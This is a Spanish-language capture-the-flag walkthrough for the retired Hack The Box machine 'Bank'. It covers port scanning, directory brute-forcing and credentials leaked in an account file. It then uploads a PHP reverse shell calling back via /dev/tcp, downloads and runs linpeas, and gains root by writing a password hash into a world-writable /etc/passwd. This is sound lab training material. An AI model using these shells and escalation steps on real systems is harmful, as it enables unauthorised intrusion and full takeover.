Descripcion ๐
Hoy vamos a hacer la maquina Bank
la cual es una maquina retirada, dificultad EASY.
Requerimientos para la maquina:
- nmap
- nslookup
- dig
- feroxbuster
- wordlist
Links utiles ๐
- garethkerr.substack.com/p/linux-privilege-e..
- github.com/epi052/feroxbuster
- github.com/danielmiessler/SecLists/blob/mas..
- github.com/carlospolop/PEASS-ng/tree/master..
User Flag ๐ง
Arrancamos por scanear puertos como se suele hacer siempre
nmap -T4 --min-rate 5000 -sV -A -o bank 10.10.10.29
Nmap scan report for 10.10.10.29 (10.10.10.29)
Host is up (0.17s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
407/tcp filtered timbuktu
541/tcp filtered uucp-rlogin
1521/tcp filtered oracle
5907/tcp filtered unknown
8701/tcp filtered unknown
8994/tcp filtered unknown
24444/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Viendo que el puerto 53 esta abierto sabemos que hay un dns, al ser bank la maquina podemos suponer que existe el dominio bank.htb
el cual es normal en muchas maquinas de htb llamarse como la maquina + .htb, agreguemos esto al /etc/hosts
y probemos
cat /etc/hosts
127.0.0.1 localhost
10.10.10.29 bank.htb
Una vez eso entramos a bank.htb
y ahora veremos un portal con un login
Podemos probar cosas basicas como SQL Injection haciendo un 'OR 1=1--
pero no conseguimos nada, asi que lo primero que vamos a hacer es intentar encontrar paginas ocultas, para eso vamos a usar feroxbuster
feroxbuster --insecure -u http://bank.htb -m GET -w ~/Documents/Security/wordlists/directory_list_lowercase_2.3_medium.txt --threads 200 -C 401
De esta forma obtenemos muchisimas paginas, pero la que nos interesa es balance-transter
en esta vamos a encontrar un monton de cuentas con extension .acc
lo cual si vemos son demasiadas, pero como estamos en un indexador de archivos vamos a ordenar por lo que vamos viendo.
Por el campo Last modified
no se ve nada diferente, por Size
hay una que pesa 257 lo cual es muy difenrete a la mayoria y se ve que esta es la que nos interesa por que fallo la encryptacion y tiene los datos del usuario
68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
Con esto vamos a volver a la pagina del login e intentar logearnos con estas credenciales.
Nos pudimos logear!
Mirando rapidamente en la pagina dashboard no hay nada interesante, pero en la pagina Support
vemos un formulario, veamos como funciona el mismo.
Por lo visto solo podemos subir imagenes
Veamos el source code para ver como funciona esta pagina, viendo el codigo fuente podemos ver un comentario el cual nos falicita mucho las cosas
<div style="position:relative;">
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
<a class='btn btn-primary' href='javascript:;'>
Choose File...
<input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40" onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
</a>
<span class='label label-info' id="upload-file-info"></span>
</div>
Por lo visto si le agregamos .htb a un archivo estariamos ejecutando codigo php
del lado del servidor, con esta informacion vamos a crear una reverse shell de php con extension .htb, algo asi como reverse.php.htb
Algo asi
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/4444 0>&1'");
?>
Previo a esto vamos a abrir un servidor de netcat en el puerto deseado (en mi caso 4444)
nc -lvpn 4444
Una vez subido nuestro archivo con la reverse shell con extension .htb
vamos a hacerle click donde esta el attachment
que dice Click here
Esto va a ejecutar el codigo php y obtenemos reverse shell!
En la carpeta /home/chris/user.txt
tenemos la primera flag donde podemos verla con el usuario actual.
Root Flag ๐ฅ
Para enumerar el sistema voy a usar un script llamado linpeas
el cual sirve para encontrar vulnerabilidades en los sistemas. Tenemos que subirlo a la maquina lo cual vamos a primero en nuestra maquina host levantar un server de python donde tenemos el script.
sudo python3 -m http.server 8000
Despues en la maquina target vamos a hacer
cd /tmp
wget <TU_IP:8000>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
En el reporte de linpeas podemos ver lo siguiente
Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
โ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/etc/passwd
Viendo que tenemos permisos de escritura en el /etc/passwd
podemos agregarle una password al usuario root
de la siguiente manera
openssl passwd hola
P6afTBIDyFGYE
Esto lo vamos a agregar en /etc/passwd
www-data@bank:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Donde va la x en root, vamos a agregar el hash que nos dio el openssl
root:P6afTBIDyFGYE:0:0:root:/root:/bin/bash
Ahora vamos a hacer un su
y escribimos la password que usamos antes hola
Conclusion ๐
Felicitaciones! Si llegaste hasta aca es porque lograste hacer el root de la maquina Bank
de Hack The Box. Espero que hayas aprendido algo nuevo.
Si tenes alguna duda o consideras que algo se puede mejorar me podes contactar atravez de mis redes
Si necesitas ayuda con escenarios mas dificiles o simplemente queres compartir sobre lo que te gusta en comunidad, te invito a unirte a HTB Argentina